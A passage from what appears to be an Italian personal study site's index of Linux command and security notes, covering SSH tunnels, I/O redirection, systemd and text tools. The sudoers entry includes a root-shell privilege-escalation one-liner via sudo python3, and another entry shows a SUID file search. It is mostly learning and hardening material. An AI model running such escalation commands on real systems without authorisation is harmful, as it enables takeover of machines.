Tip:** Questo file è molto più potente di un alias di shell (`.zshrc` o `.bashrc`) perché viene letto nativamente da altri software come **VS Code**, **FileZilla** o **Tabby**. Se configuri un alias qui, lo avrai disponibile in tutti i tuoi strumenti di sviluppo e gestione remota. ## Collegato a - system — categoria (Hub) - [ssh](/comandi/ssh/) — comando principale che legge questa configurazione. - [ssh-key-authentication](/concetti/ssh-key-authentication/) — perché automatizza il puntamento alla `IdentityFile`. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/ssh-config-file/","section":"Comandi","summary":"File di configurazione locale (~/.ssh/config) che permette di mappare parametri complessi (IP, porte, utenti, chiavi) su alias mnemonici. Semplifica l'accesso remoto e permette l'integrazione con IDE come VS Code.","title":"Ssh Config File","type":"comandi"},{"content":" Cos'è # Metodo di autenticazione sicura basato sulla crittografia asimmetrica. Utilizza una coppia di chiavi (pubblica e privata) per stabilire fiducia tra client e server senza inviare password in rete.\nCome funziona # [DIAGRAMMA ASCII - Flusso di autenticazione]\n[ Mac (Client) ] [ Ubuntu (Server) ] │ │ │─── \u0026#34;Posso entrare? (ID Chiave)\u0026#34; ────▶│ │ │ │◀── \u0026#34;Cifra questa sfida (Challenge)\u0026#34; ─│ │ │ │─── (Sblocco Privata + Firma) ───────▶│ │ │ │◀════════ SESSIONE APERTA ✓ ═════════▶│ Componenti:\nChiave Privata (id_ed25519): Rimane sul Mac. È il tuo documento d'identità segreto. Deve essere protetta da una passphrase. Chiave Pubblica (id_ed25519.pub): Viene copiata sul server. È come la serratura che solo la tua chiave privata può aprire. authorized_keys: Il file sul server che elenca tutte le chiavi pubbliche autorizzate ad entrare. Perché è importante per Blue Team # Fondamentale per la \u0026quot;Hardening\u0026quot; del server. Disabilitando l'autenticazione via password e permettendo solo le chiavi, si rendono inutili gli attacchi di Brute Force e Dictionary attack.\nDove l'ho incontrato # progetto-lab-vm — Configurazione accesso SSH sicuro tra Mac e Ubuntu Server. Collegato a # crypto — categoria ssh — comando e protocollo utilizzato chmod — necessario per impostare i permessi corretti (600) sui file delle chiavi ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/ssh-key-authentication/","section":"Concetti","summary":"Metodo di autenticazione sicura basato sulla crittografia asimmetrica. Utilizza una coppia di chiavi (pubblica e privata) per stabilire fiducia tra client e server senza inviare password in rete.","title":"Ssh Key Authentication","type":"concetti"},{"content":" Cosa fa # Tecnica SSH che apre una pipe cifrata tra una porta locale (host) e una porta remota (target). Il processo ssh -N ascolta sulla porta locale e inoltra (forwarda) tutto il traffico al server remoto, agendo come un proxy sicuro senza richiedere servizi in ascolto sulla macchina locale.\nCome funziona # Il traffico viene incapsulato all'interno della sessione SSH esistente tra il tuo Mac e il server remoto.\nIl tuo Mac Server remoto porta locale (es. 5433) SSH daemon │ │ │ ── traffico cifrato via SSH ──► │ │ │ └── aperta dal processo ssh -N └──► destinazione:porta (es. 172.17.0.X:5432) Anatomia del flag -L # ssh -L [porta_locale]:[host_destinazione]:[porta_remota] user@server\n-L 5433 : 172.17.0.2 : 5432 │ │ │ │ │ └─ porta sul host_destinazione │ └──────────────── indirizzo visto dal server remoto └──────────────────────────── porta che si apre sul tuo Mac Nota: host_destinazione è risolto dal server remoto, non dal tuo Mac. Quindi localhost si riferisce al server stesso, mentre 172.17.0.X si riferisce agli IP della rete interna del server (es. container Docker).\nCaso Reale: PostgreSQL dentro Docker # Nel progetto pippoai, il database gira in un container. localhost dal server remoto non raggiunge il container; è necessario l'IP interno.\nIl tuo Mac Server remoto ┌─────────────┐ SSH tunnel ┌──────────────────────────┐ │ │ ──────────────► │ Host Docker │ │ pg_dump / │ │ │ │ psql │ │ ┌────────────────────┐ │ │ porta 5433 │ ◄────────────── │ │ container postgres │ │ │ │ dati DB │ │ IP: 172.17.0.X │ │ └─────────────┘ │ │ porta: 5432 │ │ │ └────────────────────┘ │ └──────────────────────────┘ Comandi essenziali # Comando Cosa fa ssh -L 5433:localhost:5432 user@host -N Tunnel base verso il server stesso. ssh -L 5433:172.17.0.X:5432 user@host -N Tunnel verso l'IP specifico di un container Docker. lsof -i :5433 Verifica che il tunnel sia attivo (mostra il processo ssh). docker inspect [nome] | grep IPAddress Trova l'IP interno del container (da eseguire sul server). Combinazioni utili # # Apri il tunnel (tienilo aperto in un terminale separato) ssh -L 5433:172.17.0.X:5432 barno@host -p 2222 -i ~/.ssh/chiave -N -v # Esegui il dump del database attraverso il tunnel (disabilitando GSSAPI per evitare errori Kerberos) PGPASSWORD=\u0026#39;password\u0026#39; pg_dump \\ \u0026#34;host=localhost port=5433 dbname=rag user=rag_user gssencmode=disable\u0026#34; \\ --format=custom --no-owner --no-acl --file=rag_dump.dump Troubleshooting # Errore Causa Soluzione lsof -i vuoto Tunnel non aperto o caduto. Riapri con -v per vedere i messaggi di errore. GSSAPI error Interferenza Kerberos/GSSAPI. Aggiungi gssencmode=disable alla connection string. Auth failed Caratteri speciali nella password. Usa virgolette singole: PGPASSWORD='...'. Conn. refused Porta locale già occupata. Cambia porta locale (es. 5434) o usa kill $(lsof -t -i :5433). Conn. closed localhost non vede il container. Usa l'IP interno trovato con docker inspect. Dove l'ho usato # system — Tunnel verso PostgreSQL dentro Docker per operazioni di dump/restore e debug del RAG. Note personali # Analyst Tip: Il tunnel deve rimanere aperto in un terminale dedicato. Se chiudi quel processo, la connessione cade istantaneamente. Per Docker, non fidarti mai di localhost: controlla sempre l'IP del container con docker inspect.\nCollegato a # system — categoria (Hub) ssh — comando base. docker — per la gestione degli IP interni dei container. lsof — per il monitoraggio dei tunnel attivi. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/ssh-tunnel/","section":"Comandi","summary":"Tecnica SSH che apre una pipe cifrata tra una porta locale (host) e una porta remota (target). Il processo ssh -N ascolta sulla porta locale e inoltra (forwarda) tutto il traffico al server remoto, agendo come un proxy sicuro senza richiedere servizi in ascolto sulla macchina locale.","title":"Ssh Tunnel","type":"comandi"},{"content":" Cosa fa # Ogni processo Linux apre automaticamente tre canali di comunicazione identificati da un numero (File Descriptor). Capire questi canali permette di separare output da errori, salvare risultati su file e collegare piu' comandi tra loro.\nI tre canali # Ogni canale ha un numero identificativo chiamato File Descriptor (FD).\nFD Nome Descrizione Simbolo redirezione 0 stdin Input che il comando riceve (tastiera o pipe) \u0026lt; 1 stdout Output corretto prodotto dal comando \u0026gt; o 1\u0026gt; 2 stderr Messaggi di errore e diagnostica 2\u0026gt; Redirezione — operatori completi # Operatore Cosa fa comando \u0026gt; file stdout → file (overwrite) comando \u0026gt;\u0026gt; file stdout → file (append, preserva contenuto) comando \u0026lt; file file → stdin del comando comando 2\u0026gt; file stderr → file comando 2\u0026gt;/dev/null stderr → cestino (nasconde errori) comando 2\u0026gt;\u0026amp;1 stderr → dove va stdout comando \u0026gt; file 2\u0026gt;\u0026amp;1 stdout e stderr → stesso file (forma lunga) comando \u0026amp;\u0026gt; file stdout e stderr → file (forma abbreviata) comando \u0026amp;\u0026gt;\u0026gt; file stdout e stderr → file (append) 2\u0026gt;\u0026amp;1 — come funziona # 2\u0026gt;\u0026amp;1 dice al kernel: manda stderr dove sta andando stdout. Il simbolo \u0026amp; prima del numero indica che e' un file descriptor, non un file chiamato \u0026quot;1\u0026quot;.\n# Salva tutto in un log — forma lunga: comando \u0026gt; file.log 2\u0026gt;\u0026amp;1 # 1. stdout → file.log # 2. stderr → dove va stdout → file.log # Forma abbreviata equivalente: comando \u0026amp;\u0026gt; file.log L'ordine conta con la forma lunga:\n# CORRETTO — prima ridirige stdout, poi aggancia stderr comando \u0026gt; file.log 2\u0026gt;\u0026amp;1 # SBAGLIATO — stderr si aggancia a stdout (terminale) # poi stdout va al file, ma stderr resta sul terminale comando 2\u0026gt;\u0026amp;1 \u0026gt; file.log Con \u0026amp;\u0026gt; non hai questo problema — e' sempre corretto.\n\u0026amp;\u0026gt; — redirect tutti i canali # \u0026amp;\u0026gt; e' la versione moderna e abbreviata di \u0026gt; file 2\u0026gt;\u0026amp;1. Il simbolo \u0026amp; prima di \u0026gt; significa \u0026quot;tutti i canali\u0026quot;.\n# Scarta tutto — stdout e stderr nel cestino: comando \u0026amp;\u0026gt; /dev/null # Caso tipico — cron job silenzioso: * * * * * bandit24 /usr/bin/script.sh \u0026amp;\u0026gt; /dev/null # senza \u0026amp;\u0026gt;/dev/null cron manda una email per ogni output /dev/null — il cestino # File speciale del kernel — tutto quello che ci scrivi sparisce. Non occupa spazio, non rallenta nulla.\n# Scarta solo gli errori, tieni stdout visibile: find / -name \u0026#34;*.conf\u0026#34; 2\u0026gt;/dev/null # Scarta tutto: comando \u0026amp;\u0026gt; /dev/null # Tieni solo gli errori, scarta stdout: comando \u0026gt; /dev/null \u0026lt; vs \u0026gt; — direzione dei dati # # \u0026gt; spinge stdout verso un file echo \u0026#34;ciao\u0026#34; \u0026gt; file.txt # il comando produce, il file conserva # \u0026lt; tira il contenuto di un file dentro stdin wc -l \u0026lt; file.txt # il file fornisce, il comando elabora \u0026gt;\u0026gt; vs \u0026gt; — append vs overwrite # # \u0026gt; overwrite — svuota il file prima di scrivere echo \u0026#34;mela\u0026#34; \u0026gt; lista.txt # lista.txt contiene solo \u0026#34;mela\u0026#34; # \u0026gt;\u0026gt; append — aggiunge in coda senza cancellare echo \u0026#34;pera\u0026#34; \u0026gt;\u0026gt; lista.txt # lista.txt contiene \u0026#34;mela\u0026#34; e \u0026#34;pera\u0026#34; Raggruppamento con # Puoi ridirigere l'output di piu' comandi in un unico blocco:\n{ echo \u0026#34;=== inizio ===\u0026#34; cat /etc/passwd echo \u0026#34;=== fine ===\u0026#34; } \u0026amp;\u0026gt; report.log # tutto il blocco va in report.log Operatori di controllo shell # Operatore Nome Cosa fa | pipe collega stdout di un comando allo stdin del successivo \u0026amp; background lancia il comando in background, terminale libero subito \u0026amp;\u0026amp; AND logico esegue il secondo solo se il primo ha exit code 0 || OR logico esegue il secondo solo se il primo ha fallito (contrario di \u0026amp;\u0026amp;) # pipe — collega comandi cat /etc/passwd | grep root | cut -d: -f1 # \u0026amp; — background cp file_grande.iso /backup/ \u0026amp; # copia in background jobs # vedi processi in background fg # riporta in foreground # \u0026amp;\u0026amp; — AND logico, si ferma al primo errore mkdir /backup \u0026amp;\u0026amp; cp *.log /backup/ # || — OR logico, fallback cd /backup || mkdir /backup Differenza critica tra \u0026amp; e \u0026amp;\u0026amp;:\n\u0026amp; significa \u0026quot;vai in background, non mi interessa se hai successo\u0026quot;. \u0026amp;\u0026amp; significa \u0026quot;vai avanti solo se il primo e' andato bene\u0026quot;.\nUUOC — Useless Use of Cat # Usare cat per leggere un file e passarlo via pipe quando il comando potrebbe leggerlo direttamente e' inefficiente — crea un processo extra.\n# inefficiente: cat data.txt | grep \u0026#34;millionth\u0026#34; # efficiente: grep \u0026#34;millionth\u0026#34; data.txt grep \u0026#34;millionth\u0026#34; \u0026lt; data.txt Scenario Reale # # Script di backup notturno — tutto in un log tar -czf backup.tar.gz /data \u0026amp;\u0026gt;\u0026gt; /var/log/backup.log # successi e errori finiscono tutti nel log # Ricerca senza errori di permesso: find / -perm -4000 -type f 2\u0026gt;/dev/null # Debug di uno script cron: * * * * * /usr/bin/myscript.sh \u0026amp;\u0026gt;\u0026gt; /tmp/debug.log # quando funziona, cambia in \u0026amp;\u0026gt; /dev/null Warning \u0026amp;\u0026gt; /dev/null nasconde anche gli errori. Durante il debug usa \u0026amp;\u0026gt;\u0026gt; /tmp/debug.log per vedere cosa succede, poi rimetti /dev/null quando tutto funziona.\nTip UUOC: se stai per scrivere cat file | comando, fermati. Quasi sempre puoi scrivere comando file o comando \u0026lt; file risparmiando un processo.\nCollegato a # system — categoria find — usa 2\u0026gt;/dev/null per nascondere permission denied tee — scrive su stdout e su file contemporaneamente bash — gli stream sono fondamentali per lo scripting ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/standard-streams/","section":"Concetti","summary":"I tre canali di comunicazione che ogni processo Linux apre automaticamente: stdin (0), stdout (1), stderr (2). Fondamentale per capire pipe, redirezione e come collegare comandi tra loro.","title":"Standard Streams","type":"concetti"},{"content":" Cosa fa # Visualizza lo stato dettagliato di un file o del filesystem, mostrando metadati invisibili a ls. Il nome sta per status.\nSintassi # stat [opzioni] nome_file\nAnatomia dell'Output (Deep Dive) # Campo Significato Tecnico File Nome del file (o del link). Size Dimensione effettiva in byte. Blocks Numero di blocchi da 512B occupati sul disco. IO Block Dimensione ottimale per i trasferimenti di I/O. Device ID della partizione/disco fisico (es. 254,3). Inode L'ID univoco anagrafico del file (es. 1573299). Links Link Count: Quanti Hard Link puntano a questo Inode. Access (Perms) Permessi in ottale (es. 0664) e simbolico. Uid / Gid ID numerico e nome dell'utente/gruppo proprietario. I Quattro Timestamp (MACB) # Access: L'ultima volta che il file è stato letto (es. con cat). Modify: L'ultima volta che il contenuto del file è stato cambiato. Change: L'ultima volta che i metadati (permessi, proprietario) e contenuto sono cambiati. Birth: Data di creazione originale (non sempre disponibile su vecchi filesystem). Dove l'ho usato # bandit-12 — Per analizzare i file estratti. link-hard-vs-symbolic — Per verificare il Link Count. Collegato a # file — categoria ls — per una vista rapida inode-anatomy — concetto fondamentale ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/stats/","section":"Comandi","summary":"Visualizza lo stato dettagliato di un file o del filesystem, mostrando metadati invisibili a ls. Il nome sta per status.","title":"Stats","type":"comandi"},{"content":" Cosa fa # Analizza file binari o flussi di dati per estrarre e stampare sequenze di caratteri ASCII (testo leggibile) lunghe almeno 4 caratteri (default).\nSintassi # strings [opzioni] [file]\nVisualizzazione: Il Filtro Binario 🧬 # Immagina di passare un secchio di sabbia (file binario) attraverso un setaccio che trattiene solo le pietre preziose (testo).\nFILE BINARIO (Input) strings (Processo) +-------------------------+ +-----------------------+ | 0x7F 0x45 0x4C 0x46 ... | | [ SCAN BYTES ] | | 0x01 0x01 0x01 0x00 ... | -----\u0026gt; | (Scarta i binari) | | 0x50 0x41 0x53 0x53 ... | | (Trattiene ASCII) | +-------------------------+ +-----------+-----------+ | v [ OUTPUT TESTUALE ] \u0026#34;ELF\u0026#34; \u0026#34;PASS\u0026#34; Comandi ed Opzioni Essenziali # Opzione Nome Effetto -a --all Scansiona l'intero file, non solo le sezioni di dati. -n [num] --bytes Imposta la lunghezza minima della stringa (es. -n 10). -t [d,o,x] --radix Stampa l'offset (posizione) della stringa nel file (decimale, ottale, esadecimale). Combinazioni da Analista SOC 🕵️‍♂️ # # Cerca la parola \u0026#34;password\u0026#34; ignorando maiuscole/minuscole in un eseguibile strings -a malvage.exe | grep -i \u0026#34;password\u0026#34; # Estrae solo stringhe lunghe almeno 8 caratteri (riduce il rumore) strings -n 8 firmware.bin Scenario Reale: Malware Analysis # Un attaccante nasconde un indirizzo IP di un server C2 (Command \u0026amp; Control) dentro un programma apparentemente innocuo. Poiché l'IP è memorizzato come testo per connettersi ai socket, strings lo rivelerà immediatamente senza bisogno di avviare il malware in una sandbox.\nDove l'ho usato # bandit-09 — Per estrarre la password preceduta da \u0026quot;====\u0026quot; in un file binario. Collegato a # grep — Per filtrare i risultati. xxd — Per vedere anche la parte binaria/esadecimale. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/strings/","section":"Comandi","summary":"Analizza file binari o flussi di dati per estrarre e stampare sequenze di caratteri ASCII (testo leggibile) lunghe almeno 4 caratteri (default).","title":"strings - estrae stringhe leggibili da file binari","type":"comandi"},{"content":" Cos'è # Il sistema sudo (SuperUser DO) permette a utenti fidati di eseguire comandi con i privilegi di sicurezza di un altro utente (normalmente root).\nCome funziona # Il file /etc/sudoers definisce le policy. Il kernel controlla se l'utente che invoca sudo appartiene a un gruppo autorizzato o è presente nel file.\n[ UTENTE ] ───▶ Digita \u0026#34;sudo apt update\u0026#34; │ ┌─────┴─────┐ │ SUDOERS │ ◀─── Controlla /etc/sudoers + /etc/group └─────┬─────┘ │ ┌──────┴──────┐ │ AUTORIZZATO │ ───▶ Chiede password dell\u0026#39;utente └──────┬──────┘ │ ┌──────┴──────┐ │ KERNEL │ ───▶ Esegue come UID 0 (ROOT) └─────────────┘ Comandi Chiave # sudo -l: Mostra quali privilegi sudo hai (molto utile per Privilege Escalation). sudo visudo: Edita il file /etc/sudoers in sicurezza. sudo usermod -aG sudo [user]: Promuove un utente a Sudoer. Perché è importante per Blue/Red Team # Red Team: Cercare utenti nel gruppo sudo o con permessi NOPASSWD nel file sudoers è la via più rapida per la Privilege Escalation. Blue Team (Hardening): Limitare l'uso di sudo allo stretto necessario. Usare il principio del \u0026quot;Least Privilege\u0026quot; (Minimo Privilegio). Scenario Reale # Trovi un utente deploy che può eseguire sudo /usr/bin/python3 senza password. Come attaccante, puoi usare python per spawnare una shell root: sudo python3 -c 'import os; os.system(\u0026quot;/bin/bash\u0026quot;)'. Questo è un classico esempio di configurazione sudo errata.\nCollegato a # system — categoria uid-gid-identifiers — concetto user-management-cheatsheet — comandi ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/sudoers-and-privileges/","section":"Concetti","summary":"Il sistema sudo (SuperUser DO) permette a utenti fidati di eseguire comandi con i privilegi di sicurezza di un altro utente (normalmente root).","title":"Sudoers And Privileges","type":"concetti"},{"content":" Cosa fa # Interfaccia a riga di comando per controllare systemd, il sistema di inizializzazione e il manager dei servizi (demoni) standard nelle distribuzioni Linux moderne. Permette di gestire il ciclo di vita delle unità di sistema (servizi, socket, target).\nIn Linux, quasi tutto ciò che gira in background (correndo come un \u0026quot;demone\u0026quot;) è un servizio. Quando modifichi un file in /etc/, stai cambiando le \u0026quot;istruzioni scritte\u0026quot; su un foglio di carta, ma il processo che è già in esecuzione in memoria non sa che il foglio è cambiato.\nEcco la logica per orientarti:\n1. Il principio della \u0026quot;Rilettura\u0026quot; # Un servizio legge il suo file di configurazione solo in due momenti:\nAll'avvio: quando il sistema parte. Al segnale di ricarica: quando gli dici esplicitamente di rileggere i file. 2. Come capire se è un servizio? # Se la modifica riguarda una funzionalità che deve restare attiva sempre (rete, server web, database, SSH), allora è gestita da un servizio tramite systemd.\nModifichi la rete? Servizio networking o NetworkManager. Modifichi l'accesso remoto? Servizio ssh. Modifichi un firewall? Servizio ufw o nftables. Architettura di Controllo # systemctl agisce come client che comunica con il processo systemd (PID 1).\n[systemctl] ──── parla con ────► [systemd] │ gestisce tutti i servizi │ ┌────────────────┼────────────────┐ ▼ ▼ ▼ [ssh] [wazuh] [cron] Sintassi # systemctl [comando] [nome-servizio]\nComandi essenziali # Comando Cosa fa Note Blue Team systemctl status \u0026lt;srv\u0026gt; Mostra stato e log recenti. Primo passo per il troubleshooting. systemctl start \u0026lt;srv\u0026gt; Avvia il servizio immediatamente. — systemctl stop \u0026lt;srv\u0026gt; Ferma il servizio ora. — systemctl restart \u0026lt;srv\u0026gt; Riavvia il servizio. Necessario dopo modifiche ai file .conf. systemctl enable \u0026lt;srv\u0026gt; Imposta l'avvio automatico al boot. Crea symlink in /etc/systemd/system/. systemctl disable \u0026lt;srv\u0026gt; Rimuove l'avvio automatico. Il servizio rimarrà spento al boot. systemctl is-enabled \u0026lt;srv\u0026gt; Verifica lo stato di persistenza. Restituisce enabled o disabled. systemctl list-units --failed Elenca i servizi crashati. Fondamentale per la detection di anomalie. Comando Cosa fa Note Blue Team systemctl mask \u0026lt;srv\u0026gt; Rende il servizio \u0026quot;impossibile\u0026quot; da avviare. Hardening: Impedisce che un servizio pericoloso venga avviato anche da altri processi o manualmente. systemctl unmask \u0026lt;srv\u0026gt; Annulla il mask. — systemctl list-dependencies Mostra l'albero delle dipendenze. Capire quali altri servizi \u0026quot;tirano su\u0026quot; un processo sospetto. Verificare l'avvio automatico (Persistenza) # Nella riga Loaded dell'output di status è possibile verificare se un servizio è configurato per resistere al riavvio:\n; enabled;: Il servizio si avvierà automaticamente. ; disabled;: Il servizio rimarrà spento fino a comando manuale. Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled) ^^^^^^^ Combinazioni utili # # Abilita e avvia subito (combo per nuovi servizi) sudo systemctl enable --now spice-vdagentd # Ricarica la configurazione di systemd dopo aver modificato un file .service sudo systemctl daemon-reload # Visualizza tutte le unità caricate in memoria systemctl list-units Scenario Reale (Blue Team Perspective) # In un contesto di sicurezza, un servizio critico (come wazuh-agent o auditd) che risulta improvvisamente in stato failed o disabled può essere un Indicator of Compromise (IoC). Gli attaccanti spesso tentano di spegnere i processi di monitoraggio per operare indisturbati. Il comando systemctl list-units --failed è uno dei primi controlli da effettuare durante una scansione di salute del sistema.\nDove l'ho usato # progetto-lab-vm — Per gestire il demone SSH e abilitare spice-vdagent per abilitare la clipboard condivisa. \u0026quot;Hardening \u0026amp; Detection\u0026quot; # Oltre a enable/disable, un analista deve conoscere il comando mask. Mentre disable toglie l'avvio automatico, il servizio può ancora essere avviato manualmente o da un altro servizio che lo richiede. mask invece collega l'unità a /dev/null, rendendolo totalmente inerte.\n# Esempio: Disabilitare totalmente un servizio non necessario (es. bluetooth su un server) sudo systemctl mask bluetooth 🔍 Sezione \u0026quot;Investigazione\u0026quot; (L'arma segreta) # Spesso gli attaccanti creano servizi malevoli con nomi simili a quelli di sistema. Per vedere da dove viene caricato un servizio (se da una cartella temporanea o sospetta):\nsystemctl show \u0026lt;nome-servizio\u0026gt; -p FragmentPath Se il percorso non è /lib/systemd/system/ o /etc/systemd/system/, alza la guardia! 🚩\nNote personali # Analyst Tip: Ricorda che systemctl restart interrompe brevemente il servizio. Se stai lavorando su una connessione SSH e riavvii il servizio SSH, la tua sessione corrente di solito rimane attiva, ma è buona norma avere una seconda via d'accesso o testare la config con sshd -t prima di procedere. Recovery tip: Un servizio active (running) ma disabled gira adesso ma sparisce al prossimo reboot. Sempre verificare entrambi gli stati dopo un recupero — vedi recupero-accesso-ssh-hetzner.\nCollegato a # system — categoria (Hub) journalctl — perché visualizza i log generati dai servizi gestiti ssh — servizio spesso gestito tramite systemctl. wazuh — agente SIEM che opera come servizio systemd. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/systemctl/","section":"Comandi","summary":"Interfaccia a riga di comando per controllare systemd, il sistema di inizializzazione e il manager dei servizi (demoni) standard nelle distribuzioni Linux moderne. Permette di gestire il ciclo di vita delle unità di sistema (servizi, socket, target).","title":"Systemctl","type":"comandi"},{"content":" Cos'è # systemd è il init system e il gestore dei servizi (Service Manager) standard per la maggior parte delle distribuzioni Linux moderne (Ubuntu, Kali, Debian). È il primo processo che viene avviato dal Kernel (PID 1) e ha il compito di \u0026quot;tirare su\u0026quot; tutto il resto del sistema.\nCome funziona # Funziona come un supervisore centrale: gestisce l'avvio, l'arresto e lo stato di unità (Unit) come servizi (.service), punti di montaggio (.mount) o socket (.socket).\n[DIAGRAMMA ASCII - Architettura di controllo]\n[ UTENTE ] │ [ systemctl ] \u0026lt;─── (Il Client/Telecomando che invia comandi) │ ▼ [ systemd ] \u0026lt;─── (Il Motore/Service Manager - PID 1) │ ├─ Gestisce l\u0026#39;ordine di avvio ├─ Monitora i crash └─ Legge le configurazioni in /lib/systemd/system/ │ ┌─────┼─────┬───────────────┐ ▼ ▼ ▼ ▼ [ssh] [cron] [wazuh] [altri servizi...] Perché è importante per Blue Team # Persistenza: Gli attaccanti spesso creano file .service personalizzati in systemd per far ripartire il loro malware ad ogni boot. Visibilità: Grazie alla stretta integrazione con journalctl, systemd registra esattamente quando un servizio è partito, si è fermato o è crashato. Hardening: Permette di isolare i servizi (Sandboxing) limitando quali cartelle o risorse di rete possono vedere. Differenza Chiave # systemd: È il processo demone che \u0026quot;fa il lavoro\u0026quot; in background. systemctl: È l'interfaccia a riga di comando che noi usiamo per parlare con systemd. Dove l'ho incontrato # progetto-lab-vm — Configurazione del laboratorio dove systemd gestisce l'accesso SSH e i driver di virtualizzazione. Note personali # systemd è potentissimo perché gestisce le dipendenze: sa che non può avviare ssh se la rete non è ancora pronta. Se un servizio è enabled, è systemd che si occupa di caricarlo al boot.\nCollegato a # system — categoria systemctl — lo strumento per controllarlo journald — il sistema di logging di systemd linux-filesystem-hierarchy — per la posizione dei file unit (/etc/systemd/ vs /lib/systemd/) ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/systemd/","section":"Concetti","summary":"systemd è il init system e il gestore dei servizi (Service Manager) standard per la maggior parte delle distribuzioni Linux moderne (Ubuntu, Kali, Debian). È il primo processo che viene avviato dal Kernel (PID 1) e ha il compito di 'tirare su' tutto il resto del sistema.","title":"Systemd","type":"concetti"},{"content":" Cosa fa # Visualizza l'ultima porzione di uno o più file. È lo strumento principe per il monitoraggio dei log in tempo reale. tail (1) - emette l'ultima parte dei file.\nSintassi # tail [opzioni] [file]\nComandi essenziali # Comando Flag Significato flag Cosa fa tail -n 15 file.txt -n Lines Mostra le ultime 15 righe (default: 10). tail -f /var/log/auth.log -f Follow Rimane in ascolto e aggiorna l'output ogni volta che il file cresce. tail -F file.log -F Follow/Retry Come -f, ma continua a cercare il file se viene ruotato o rinominato. Combinazioni utili # # Monitora i log di errore web filtrando solo quelli di oggi tail -f /var/log/apache2/error.log | grep \u0026#34;2026-03-08\u0026#34; Scenario Reale # Durante un attacco Brute Force, un analista SOC usa tail -f /var/log/auth.log per vedere i tentativi falliti di login che appaiono istantaneamente a schermo, permettendogli di bloccare l'IP dell'attaccante.\nCollegato a # file — categoria\nlog — categoria\nhead — il comando complementare\n","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/tail/","section":"Comandi","summary":"Visualizza l'ultima porzione di uno o più file. È lo strumento principe per il monitoraggio dei log in tempo reale. tail (1) - emette l'ultima parte dei file.","title":"Tail","type":"comandi"},{"content":" Cosa fa # Acronimo di Tape Archiver. Raggruppa più file e directory in un unico file archivio senza comprimerli.\nSintassi # tar [opzioni] [nome_archivio] [target]\nComandi essenziali # Comando Flag Cosa fa tar -cvf arch.tar dir/ -c (create) Crea un archivio dai contenuti della cartella. tar -xvf arch.tar -x (extract) Estrae i file dall'archivio. tar -tvf arch.tar -t (list) Elenca i file dentro l'archivio senza estrarli. Struttura Archiviazione (ASCII) # File A (10KB) --\\ File B (20KB) ---\u0026gt; [ ARCHIVIO.TAR ] (30KB + metadata) File C (5KB) --/ Collegato a # file — categoria gzip — spesso usati insieme (tar.gz) ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/tar/","section":"Comandi","summary":"Acronimo di Tape Archiver. Raggruppa più file e directory in un unico file archivio senza comprimerli.","title":"Tar","type":"comandi"},{"content":" Cosa fa # Protocollo client-server che permette l'accesso remoto a un computer. A differenza di SSH, non è cifrato: tutto viaggia in chiaro. Oggi viene usato quasi esclusivamente per testare se una porta specifica è aperta.\nSintassi # telnet [host] [porta]\nComandi essenziali # Operazione Comando Note Blue Team Test Porta TCP telnet google.com 80 Se lo schermo diventa nero, la porta è aperta. Uscire dalla sessione CTRL + ] e poi quit Necessario per chiudere la connessione interattiva. Analisi Tecnica (Senior Perspective) # In un SOC, Telnet è visto come una vulnerabilità se usato per l'amministrazione. Tuttavia, è utile per il Banner Grabbing: connettendosi a una porta, spesso il servizio risponde dichiarando la sua versione (es. \u0026quot;Apache 2.4.1\u0026quot;).\nCollegato a # system — categoria netcat — alternativa moderna e più potente ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/telnet/","section":"Comandi","summary":"Protocollo client-server che permette l'accesso remoto a un computer. A differenza di SSH, non è cifrato: tutto viaggia in chiaro. Oggi viene usato quasi esclusivamente per testare se una porta specifica è aperta.","title":"telnet - protocollo di accesso remoto non cifrato","type":"comandi"},{"content":" Cosa fa # Abbreviazione di translate. Sostituisce, comprime o elimina caratteri specifici dallo standard input.\nSintassi # tr [opzioni] set1 [set2]\nComandi essenziali # Comando Flag Cosa fa tr 'a' 'b' — Sostituisce ogni 'a' con 'b'. tr 'a-z' 'A-Z' — Trasforma tutto il testo in MAIUSCOLO. tr -d '0-9' -d (delete) Rimuove tutti i numeri dal testo. tr -s ' ' -s (squeeze) Sostituisce sequenze di spazi multipli con uno spazio singolo. Combinazioni utili # # Implementazione manuale del ROT13 # Prende A-M e le sposta in N-Z, e prende N-Z e le sposta in A-M cat file.txt | tr \u0026#39;A-Za-z\u0026#39; \u0026#39;N-ZA-Mn-za-m\u0026#39; Struttura della Rotazione (ASCII) # Set 1 (Originale): A B C D E F G H I J K L M | N O P Q R S T U V W X Y Z ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ | ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ Set 2 (Traslato): N O P Q R S T U V W X Y Z | A B C D E F G H I J K L M Scenario Reale # Un analista SOC riceve un log \u0026quot;sporco\u0026quot; con troppi spazi bianchi o caratteri speciali che rendono difficile il parsing. Può usare tr -s ' ' per ripulire l'output o tr -d '\\r' per convertire file di log provenienti da Windows (che usano diversi terminatori di riga) in formato Linux leggibile.\nDove l'ho usato # bandit-11 — per decodificare il cifrario a rotazione. Note personali # tr lavora solo su singoli caratteri, non su parole intere. Se devi cambiare \u0026quot;mela\u0026quot; con \u0026quot;pera\u0026quot;, tr non è lo strumento giusto (useresti sed). È perfetto però per pulire velocemente file di testo o fare semplici offuscamenti.\nCollegato a # system — categoria sed — tool più avanzato per manipolazione testo ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/tr/","section":"Comandi","summary":"Abbreviazione di translate. Sostituisce, comprime o elimina caratteri specifici dallo standard input.","title":"Tr","type":"comandi"},{"content":" Cosa fa # Visualizza ricorsivamente il contenuto di una directory in un formato grafico ad albero, arricchendo la vista con metadati del filesystem come Inode, proprietari e permessi. tree (1) - elenca il contenuto delle directory in un formato ad albero colorato.\nSintassi # tree 